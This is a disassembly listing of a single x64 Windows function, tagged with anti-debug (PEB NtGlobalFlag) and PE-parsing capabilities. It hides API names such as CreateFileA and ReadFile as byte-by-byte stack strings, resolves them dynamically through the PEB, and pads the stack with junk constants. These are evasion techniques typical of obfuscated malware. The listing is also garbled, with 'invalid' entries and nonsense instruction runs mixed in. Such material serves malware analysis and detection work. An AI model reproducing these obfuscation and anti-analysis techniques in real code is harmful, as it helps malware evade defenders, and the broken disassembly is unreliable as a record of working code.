Function at 0x2100db720
Capabilities:
Check for peb ntglobalflag flag
Get number of processors
Parse pe header

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x7e8
cmp dword [rsp + 0x7f8], 1
je 0x210041029
mov eax, 1
jmp 0x210042e4d
mov byte [rsp + 0x195], 0x37
movabs rax, 0xbcc046b89a668e4e
mov qword [rsp + 0x590], rax
mov dword [rsp + 0x440], 0x1ab84445
mov dword [rsp + 0x444], 0x1d7e30d8
mov qword [rsp + 0x2f0], 0
add byte [rax], al
add byte [rax], al
add dh, al
test byte [rdx + riz*4], ah
add dword [rax], eax
add dh, ch
mov dword [rsp + 0x448], 0xf53253e0
movabs rax, 0xd3258b7360060db4
mov qword [rsp + 0x7c8], rax
mov dword [rsp + 0x44c], 0x44e215e3
mov rax, qword gs:[0x30]
mov qword [rsp + 0x2f0], rax
movabs rax, 0xc6482d39de1168c2
mov qword [rsp + 0x4a0], rax
movabs rax, 0xca1464b918a0447a
mov qword [rsp + 0x4a8], rax
mov byte [rsp + 0x150], 0xbf
movabs rax, 0x40c486d41621ea1e
mov qword [rsp + 0x4b0], rax
mov byte [rsp + 0x151], 0xf8
mov dword [rsp + 0x450], 0x7f9dba85
mov byte [rsp + 0x152], 0x96
mov dword [rsp + 0x498], 0xc269a978
mov byte [rsp + 0x153], 0xdd
movabs rax, 0x9bb362f02fe4960e
mov qword [rsp + 0x4b8], rax
movabs rax, 0xad15fd7338d9b4f2
mov qword [rsp + 0x4c0], rax
test byte [rax + rax*8], ah
add al, 0
add byte [rax - 0x75], cl
test byte [rax + rsi*8], ah
add al, byte [rax]
add byte [rax - 0x75], cl
invalid
invalid
mov qword [rsp + 0x458], rax
mov byte [rsp + 0x154], 0xa2
movabs rax, 0xb4bcc55db4202dba
mov qword [rsp + 0x4c8], rax
mov byte [rsp + 0x155], 0xac
movabs rax, 0x2357c95ea9b680f7
mov qword [rsp + 0x4d0], rax
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rsp + 0x458]
mov rax, qword [rcx + rax + 8]
mov qword [rsp + 0x1a8], rax
movabs rax, 0x54ac04bdbd640e05
mov qword [rsp + 0x4d8], rax
movabs rax, 0x7bc468547b3aff1f
mov qword [rsp + 0x4e0], rax
mov byte [rsp + 0x156], 0xf6
movabs rax, 0xb753bdb7e1c94651
mov qword [rsp + 0x4e8], rax
mov dword [rsp + 0x49c], 0x889a09fd
movabs rax, 0x13600fc09ff7bb1f
mov qword [rsp + 0x4f0], rax
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x1e0], 0x4b
mov byte [rsp + 0x157], 5
mov dword [rsp + 0x2f8], 0xc44d9941
mov byte [rsp + 0x158], 0x10
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x1e0], 0x45
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x1e0], 0x52
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x1e0], 0x4e
movabs rax, 0xf521309d594706db
mov qword [rsp + 0x4f8], rax
mov byte [rsp + 0x159], 0xf2
movabs rax, 0x3d86e7dcf3830849
mov qword [rsp + 0x500], rax
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0x1e0], 0x45
add byte [rax], al
mov r8d, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x1e0], 0x4c
mov dword [rsp + 0x2fc], 0x1d125bb1
movabs rax, 0x1b2156006d8a8339
mov qword [rsp + 0x508], rax
mov eax, 1
imul rax, rax, 6
mov byte [rsp + rax + 0x1e0], 0x33
mov byte [rsp + 0x15a], 0xb6
movabs rax, 0x91f7c1131cf66be3
mov qword [rsp + 0x510], rax
mov eax, 1
imul rax, rax, 7
mov byte [rsp + rax + 0x1e0], 0x32
movabs rax, 0x54b7bd0f769429a9
sub dword [rsi + rsi*2 + 0x54b7bd0f], edx
mov qword [rsp + 0x518], rax
mov dword [rsp + 0x300], 0xe7998047
mov dword [rsp + 0x304], 0xf39f8416
movabs rax, 0xe74d5ac331635968
mov qword [rsp + 0x520], rax
mov eax, 1
imul rax, rax, 8
mov byte [rsp + rax + 0x1e0], 0x2e
mov dword [rsp + 0x308], 0xcc8c1a9a
movabs rax, 0x456363468ad960d9
mov qword [rsp + 0x528], rax
mov eax, 1
imul rax, rax, 9
mov byte [rsp + rax + 0x1e0], 0x44
movabs rax, 0x4228f0684834a42
mov qword [rsp + 0x530], rax
mov dword [rsp + 0x30c], 0xf8467761
mov dword [rsp + 0x310], 0xb0d6c11b
mov eax, 1
imul rax, rax, 0xa
mov byte [rsp + rax + 0x1e0], 0x4c
mov dword [rsp + 0x314], 0x7eccf42c
test byte [rsp + rdx], ah
add eax, dword [rax]
add byte [rsp + rsi*8], ch
int3
jle 0x210041403
mov eax, 0xac14aab5
add dword [0x1994ce8db], 0xffffff84
and al, 0x38
add eax, 0x84c70000
and al, 0x18
add eax, dword [rax]
add byte [rcx - 0x479d35f0], al
add dword [rax], eax
add byte [rax], al
imul rax, rax, 0xb
mov byte [rsp + rax + 0x1e0], 0x4c
mov dword [rsp + 0x31c], 0x6be21677
movabs rax, 0x8fb38d846f086892
mov qword [rsp + 0x540], rax
mov eax, 1
imul rax, rax, 0xc
mov byte [rsp + rax + 0x1e0], 0
movabs rax, 0x570de451ec047d4e
mov qword [rsp + 0x548], rax
lea rcx, [rsp + 0x1e0]
mov rax, qword [rsp + 0x1a8]
call qword [rax + 0xb2f0]
mov qword [rsp + 0x1b8], rax
mov byte [rsp + 0x15b], 0x63
mov dword [rsp + 0x320], 0xf70b4f35
mov eax, 1
imul rax, rax, 0
rol byte [rax], 0xc6
test byte [rax + riz*8], al
add dword [rax], eax
add byte [rbx - 0x48], al
add dword [rax], eax
add byte [rax], al
imul rax, rax, 1
mov byte [rsp + rax + 0x1e0], 0x6c
mov dword [rsp + 0x324], 0x601116d9
mov byte [rsp + 0x15c], 4
mov dword [rsp + 0x328], 0xf627a5a1
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x1e0], 0x6f
mov dword [rsp + 0x32c], 0x92328099
mov byte [rsp + 0x15d], 0x75
mov byte [rsp + 0x15e], 0x2b
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x1e0], 0x73
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0x1e0], 0x65
mov byte [rsp + 0x15f], 0xf
movabs rax, 0xe903198d63b93321
mov qword [rsp + 0x550], rax
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x1e0], 0x48
mov byte [rsp + 0x160], 0x3d
movabs rax, 0xa2f30684205e877
mov qword [rsp + 0x558], rax
mov dword [rsp + 0x330], 0x781db4d8
mov eax, 1
imul rax, rax, 6
mov byte [rsp + rax + 0x1e0], 0x61
movabs rax, 0xe3fe5154586f7b00
mov qword [rsp + 0x560], rax
mov eax, 1
imul rax, rax, 7
imul eax, eax, 7
mov byte [rsp + rax + 0x1e0], 0x6e
mov eax, 1
imul rax, rax, 8
mov byte [rsp + rax + 0x1e0], 0x64
mov dword [rsp + 0x334], 0x9b4ddc9a
mov dword [rsp + 0x338], 0x4f76f555
mov byte [rsp + 0x161], 0xaa
mov eax, 1
imul rax, rax, 9
mov byte [rsp + rax + 0x1e0], 0x6c
movabs rax, 0xeb9c7e49b0048d8e
mov qword [rsp + 0x568], rax
mov byte [rsp + 0x162], 0x1a
mov byte [rsp + 0x163], 0x6e
mov byte [rsp + 0x164], 0xd3
mov eax, 1
imul rax, rax, 0xa
mov byte [rsp + rax + 0x1e0], 0x65
mov byte [rsp + 0x165], 0x78
movabs rax, 0xa143bc52952659eb
mov qword [rsp + 0x570], rax
mov dword [rsp + 0x33c], 0x71e20227
mov eax, 1
imul rax, rax, 0xb
mov byte [rsp + rax + 0x1e0], 0
mov byte [rsp + 0x166], 0x6d
mov dword [rsp + 0x340], 0x994e4cc6
mov dword [rsp + 0x344], 0x4ac23e55
mov byte [rsp + 0x167], 0x43
lea rdx, [rsp + 0x1e0]
mov rcx, qword [rsp + 0x1b8]
mov rax, qword [rsp + 0x1a8]
call qword [rax + 0xb300]
mov qword [rsp + 0x488], rax
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x1e0], 0x43
movabs rax, 0x483bf8db8fbe88d6
mov qword [rsp + 0x578], rax
mov byte [rsp + 0x168], 0xa7
mov byte [rsp + 0x169], 0x74
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x1e0], 0x72
movabs rax, 0x2a7e220985dbaca8
mov qword [rsp + 0x580], rax
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x1e0], 0x65
mov byte [rsp + 0x16a], 0xd
mov dword [rsp + 0x348], 0x15718f57
jno 0x2100416f7
mov byte [rsp + 0x16b], 0xdd
mov byte [rsp + 0x16c], 0x57
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x1e0], 0x61
mov dword [rsp + 0x34c], 0xd0920298
movabs rax, 0x19c46cd87bf2e104
mov qword [rsp + 0x588], rax
mov byte [rsp + 0x16d], 0x51
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0x1e0], 0x74
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x1e0], 0x65
mov dword [rsp + 0x350], 0x6c1dac2c
mov eax, 1
imul rax, rax, 6
mov byte [rsp + rax + 0x1e0], 0x46
mov dword [rsp + 0x354], 0x57d6aca1
mov eax, 1
imul rax, rax, 7
mov byte [rsp + rax + 0x1e0], 0x69
movabs rax, 0x38f2d914bf6e9158
mov qword [rsp + 0x6b0], rax
mov byte [rsp + 0x16e], 0x7a
mov eax, 1
imul rax, rax, 8
mov byte [rsp + rax + 0x1e0], 0x6c
mov eax, 1
imul rax, rax, 9
mov byte [rsp + rax + 0x1e0], 0x65
movabs rax, 0x65a0c4d376936334
mov qword [rsp + 0x598], rax
movabs rax, 0xde2f87802bcb5f2a
mov qword [rsp + 0x5a0], rax
mov eax, 1
imul rax, rax, 0xa
mov byte [rsp + rax + 0x1e0], 0x41
mov dword [rsp + 0x358], 0xda7f39a8
mov byte [rsp + 0x16f], 0x59
movabs rax, 0x96a563b2533fcb78
mov qword [rsp + 0x5a8], rax
mov eax, 1
imul rax, rax, 0xb
mov byte [rsp + rax + 0x1e0], 0
movabs rax, 0x6628dca99203350d
mov qword [rsp + 0x5b0], rax
movabs rax, 0xbf4cb8096b58e8f3
mov qword [rsp + 0x5b8], rax
movabs rax, 0xd54c491c3c88b59c
mov qword [rsp + 0x5c0], rax
mov dword [rsp + 0x35c], 0x9426fc78
movabs rax, 0x575cfff62aa821e1
mov qword [rsp + 0x5c8], rax
movabs rax, 0x669a36601fa16647
mov qword [rsp + 0x5d0], rax
lea rdx, [rsp + 0x1e0]
mov rcx, qword [rsp + 0x1b8]
mov rax, qword [rsp + 0x1a8]
call qword [rax + 0xb300]
mov qword [rsp + 0x468], rax
push 0xffffffffc7000004
test byte [rax + riz*2], ah
add eax, dword [rax]
add dl, bh
cwde
sbb eax, 0x2484c6d1
jo 0x2100418c5
add byte [rax], al
mov ecx, 0x1b8
add byte [rax + 0x6b], cl
rol byte [rax], 0xc6
test byte [rax + riz*8], al
add dword [rax], eax
add byte [rdi - 0x3a], al
test byte [rcx + rsi*2], ah
add dword [rax], eax
add byte [rdi + 0x12eeb848], dh
int 0x54
and eax, 0x480fe789
mov dword [rsp + 0x5d8], eax
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x1e0], 0x65
movabs rax, 0x2ca8b6f5155d40d0
mov qword [rsp + 0x5e0], rax
movabs rax, 0xc3999a51581242ef
mov qword [rsp + 0x5e8], rax
movabs rax, 0x35850ca52bb0708f
mov qword [rsp + 0x5f0], rax
mov byte [rsp + 0x172], 0x4c
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x1e0], 0x74
add byte [rsi + rax*8 - 0x7c], dh
and al, 0x73
add dword [rax], eax
add byte [rdi + 0x48], cl
mov eax, 0xb905da44
cmp ecx, dword [rax]
invalid
invalid
mov qword [rsp + 0x5f8], rax
mov byte [rsp + 0x174], 0x19
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x1e0], 0x4d
mov byte [rsp + 0x175], 8
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0x1e0], 0x6f
movabs rax, 0x18b08096c68bb97b
mov qword [rsp + 0x600], rax
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x1e0], 0x64
mov byte [rsp + 0x176], 0x50
movabs rax, 0xceb79f9e335b1dc0
mov qword [rsp + 0x608], rax
mov byte [rsp + 0x177], 0x4c
mov eax, 1
imul rax, rax, 6
mov byte [rsp + rax + 0x1e0], 0x75
movabs rax, 0x4dccc965f2c75ba
mov qword [rsp + 0x610], rax
movabs rax, 0x930ab90f6d931d7b
mov qword [rsp + 0x618], rax
mov eax, 1
imul rax, rax, 7
mov byte [rsp + rax + 0x1e0], 0x6c
mov eax, 1
imul rax, rax, 8
mov byte [rsp + rax + 0x1e0], 0x65
mov dword [rsp + 0x364], 0x451b78ea
mov dword [rsp + 0x368], 0x5028c0e6
mov byte [rsp + 0x178], 0x3b
mov eax, 1
imul rax, rax, 9
mov byte [rsp + rax + 0x1e0], 0x46
mov dword [rsp + 0x36c], 0x53200b2d
mov byte [rsp + 0x179], 0x82
mov dword [rsp + 0x370], 0x44e64cbe
mov eax, 1
imul rax, rax, 0xa
mov byte [rsp + rax + 0x1e0], 0x69
mov dword [rsp + 0x374], 0xade68ec5
movabs rax, 0xaae6594274c1ebbb
mov qword [rsp + 0x620], rax
movabs rax, 0x40b9ed3f9ab4b40b
mov qword [rsp + 0x628], rax
mov dword [rsp + 0x378], 0x3f42b698
mov eax, 1
imul rax, rax, 0xb
mov byte [rsp + rax + 0x1e0], 0x6c
mov eax, 1
imul rax, rax, 0xc
mov byte [rsp + rax + 0x1e0], 0x65
mov eax, 1
imul rax, rax, 0xd
mov byte [rsp + rax + 0x1e0], 0x4e
mov byte [rsp + 0x17a], 0xd6
movabs rax, 0x447fd3a2413221ed
mov qword [rsp + 0x630], rax
mov dword [rsp + 0x37c], 0x6cc7c9b8
movabs rax, 0xf12054c9709cdd2
mov qword [rsp + 0x638], rax
mov eax, 1
imul rax, rax, 0xe
mov byte [rsp + rax + 0x1e0], 0x61
mov byte [rsp + 0x17b], 0x4d
mov eax, 1
imul rax, rax, 0xf
mov byte [rsp + rax + 0x1e0], 0x6d
mov dword [rsp + 0x380], 0xd661637c
mov eax, 1
imul rax, rax, 0x10
mov byte [rsp + rax + 0x1e0], 0x65
movabs rax, 0xbfc71172d98ebda1
mov qword [rsp + 0x640], rax
mov dword [rsp + 0x384], 0xd13b88a1
mov byte [rsp + 0x17c], 0x9b
mov dword [rsp + 0x388], 0x460656ba
mov eax, 1
imul rax, rax, 0x11
mov byte [rsp + rax + 0x1e0], 0x41
mov dword [rsp + 0x38c], 0xf3a89dde
mov byte [rsp + 0x17d], 0xdb
mov eax, 1
imul rax, rax, 0x12
mov byte [rsp + rax + 0x1e0], 0
movabs rax, 0xf444e9cb4419e1b5
mov qword [rsp + 0x648], rax
mov byte [rsp + 0x17e], 0x85
movabs rax, 0x5cac7c4efb6d6845
mov qword [rsp + 0x650], rax
movabs rax, 0x30f1df6db169d00b
mov qword [rsp + 0x658], rax
movabs rax, 0x8c21a6ebc8bbec65
mov qword [rsp + 0x660], rax
mov dword [rsp + 0x660], eax
lea rdx, [rsp + 0x1e0]
mov rcx, qword [rsp + 0x1b8]
mov rax, qword [rsp + 0x1a8]
call qword [rax + 0xb300]
mov qword [rsp + 0x460], rax
mov byte [rsp + 0x17f], 0x29
mov dword [rsp + 0x390], 0x8cc180bf
movabs rax, 0x37f57e007759a170
mov qword [rsp + 0x668], rax
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x1e0], 0x52
mov dword [rsp + 0x394], 0xa5d93af
movabs rax, 0x55819f89982018c3
mov qword [rsp + 0x670], rax
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x1e0], 0x65
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x1e0], 0x61
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x1e0], 0x64
movabs rax, 0x6ea325a8504ce2e5
mov qword [rsp + 0x678], rax
mov byte [rsp + 0x180], 0xd7
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0x1e0], 0x46
mov dword [rsp + 0x398], 0x4190c66d
mov byte [rsp + 0x181], 0x72
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x1e0], 0x69
mov eax, 1
imul rax, rax, 6
mov byte [rsp + rax + 0x1e0], 0x6c
movabs rax, 0xef2a02285fa603d6
mov qword [rsp + 0x680], rax
mov byte [rsp + 0x182], 0x2c
mov byte [rsp + 0x183], 0xd2
mov dword [rsp + 0x39c], 0xbf5e5510
mov eax, 1
imul rax, rax, 7
mov byte [rsp + rax + 0x1e0], 0x65
mov dword [rsp + 0x3a0], 0xeb029cba
movabs rax, 0xf6babe3f0fc22bbb
mov qword [rsp + 0x688], rax
mov dword [rsp + 0x3a4], 0xa5df0e02
mov byte [rsp + 0x184], pe_nt_image_headers64
mov eax, 1
imul rax, rax, 8
mov byte [rsp + rax + 0x1e0], 0
mov dword [rsp + 0x3a8], 0x80ab037e
movabs rax, 0x668a6bd6e33bb69a
mov qword [rsp + 0x690], rax
mov byte [rsp + 0x185], 0x17
movabs rax, 0x90718db01b3ffda4
mov qword [rsp + 0x698], rax
mov byte [rsp + 0x186], 0xd0
lea rdx, [rsp + 0x1e0]
mov rcx, qword [rsp + 0x1b8]
mov rax, qword [rsp + 0x1a8]
call qword [rax + 0xb300]
mov qword [rsp + 0x480], rax
movabs rax, 0x40fe1d424b86ceb8
mov qword [rsp + 0x6a0], rax
mov dword [rsp + 0x3ac], 0xd30c9128
mov dword [rsp + 0x3b0], 0xa66c4fe8
mov byte [rsp + 0x187], 0x3a
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x1e0], 0x53
movabs rax, 0xf03976ce5ce2834c
mov qword [rsp + 0x6a8], rax
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x1e0], 0x65
mov dword [rsp + 0x3b4], 0x72ac4b4
movabs rax, 0x6b7c05d7d5ee243e
mov qword [rsp + 0x7d0], rax
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x1e0], 0x74
movabs rax, 0xafc7d9202421a553
mov qword [rsp + 0x6b8], rax
movabs rax, 0xa006884fe5690381
in eax, 0x4f
mov byte [rsi], al
movabs al, byte [0x6c024848948]
movabs rax, 0x822d6ae0310f57c7
mov qword [rsp + 0x6c8], rax
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x1e0], 0x46
mov byte [rsp + 0x188], 0xef
mov dword [rsp + 0x3b8], 0x14af17d0
mov dword [rsp + 0x3bc], 0xaccc18d1
mov byte [rsp + 0x189], 0xed
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0x1e0], 0x69
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x1e0], 0x6c
movabs rax, 0x2064d14d9e3ed5e1
mov qword [rsp + 0x6d0], rax
mov dword [rsp + 0x3c0], 0xc42138dc
movabs rax, 0xebb19ebf62d09ef6
mov qword [rsp + 0x6d8], rax
mov eax, 1
imul rax, rax, 6
mov byte [rsp + rax + 0x1e0], 0x65
mov eax, 1
imul rax, rax, 7
mov byte [rsp + rax + 0x1e0], 0x50
movabs rax, 0xb0fa69d7afd4eeb6
mov qword [rsp + 0x6e0], rax
mov dword [rsp + 0x3c4], 0x6a435789
movabs rax, 0xc58dcd273b0a51e
mov qword [rsp + 0x6e8], rax
mov eax, 1
imul rax, rax, 8
mov byte [rsp + rax + 0x1e0], 0x6f
mov dword [rsp + 0x3c8], 0x558a1f0e
mov eax, 1
imul rax, rax, 9
mov byte [rsp + rax + 0x1e0], 0x69
mov dword [rsp + 0x3cc], 0xca6d1bf5
mov byte [rsp + 0x18a], 0xe3
mov eax, 1
imul rax, rax, 0xa
mov byte [rsp + rax + 0x1e0], 0x6e
movabs rax, 0x5a9e2d6a713e72cc
mov qword [rsp + 0x6f0], rax
mov eax, 1
imul rax, rax, 0xb
mov byte [rsp + rax + 0x1e0], 0x74
mov dword [rsp + 0x3d0], 0x7800f8a0
mov eax, 1
imul rax, rax, 0xc
mov byte [rsp + rax + 0x1e0], 0x65
mov byte [rsp + 0x18b], 0x7b
mov byte [rsp + 0x18c], 0x8c
mov eax, 1
imul rax, rax, 0xd
mov byte [rsp + rax + 0x1e0], 0x72
movabs rax, 0xd53c9385cca4deb8
mov qword [rsp + 0x6f8], rax
movabs rax, 0xe79e5fa63f153b81
mov qword [rsp + 0x700], rax
mov byte [rsp + 0x18d], 0x33
movabs rax, 0x347dd3ebb540b9b3
mov qword [rsp + 0x708], rax
mov eax, 1
imul rax, rax, 0xe
mov byte [rsp + rax + 0x1e0], 0
mov byte [rsp + 0x18e], 0xeb
mov byte [rsp + 0x18f], 0x91
movabs rax, 0x84629ae4a4999414
mov qword [rsp + 0x710], rax
mov dword [rsp + 0x3d4], 0xd2c1e264
lea rdx, [rsp + 0x1e0]
mov rcx, qword [rsp + 0x1b8]
mov rax, qword [rsp + 0x1a8]
call qword [rax + 0xb300]
mov qword [rsp + 0x470], rax
movabs rax, 0xef9efeecc8590894
mov qword [rsp + 0x718], rax
movabs rax, 0x84e595515b0715b2
mov qword [rsp + 0x720], rax
mov dword [rsp + 0x3d8], 0x4204cb91
mov dword [rsp + 0x3dc], 0xf22fd398
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x1e0], 0x56
movabs rax, 0xfce3b923acaa1208
add rsp, 0x7e8
ret
jmp 0x210041005